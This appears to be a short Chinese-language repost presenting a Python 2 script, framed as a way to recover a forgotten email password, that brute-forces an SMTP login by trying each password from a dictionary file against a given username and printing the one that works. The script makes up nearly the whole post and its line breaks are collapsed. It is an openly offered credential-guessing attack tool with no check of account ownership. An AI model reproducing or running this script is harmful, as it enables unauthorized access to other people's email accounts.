扫描邮箱密码(当你密码忘记的时候用的上啊)

来源:互联网 发布:票据通软件多少钱 编辑:程序博客网 时间:2024/05/01 09:38
import smtplibimport optparsefrom time import sleepdef scanemail(username,passfile):f=open(passfile,'r')for line in f:passwd=line.strip()  #去掉换行符号try:s=smtplib.SMTP("smtp.google.com")s.login(username,passwd)print "sucessed!!![+]%s : %s" %(username,passwd)breakexcept smtplib.SMTPException,e:print "error: %s![-]%s : %s" %(e,username,passwd)sleep(1)  #这个等比较重要???def main():parser=optparse.OptionParser("usage:./prog.py"+"-u <username> -d <passwdfile>")parser.add_option('-u',dest='uname',type='string',help='specify email name')parser.add_option('-d',dest='passwdfile',type='string',help='specify dictionary file')(options,args)=parser.parse_args()if (options.uname==None) | (options.passwdfile==None):print parser.usageexit(0)else:uname=options.unamepasswdfile=options.passwdfilescanemail(uname,passwdfile)if __name__=='__main__':main()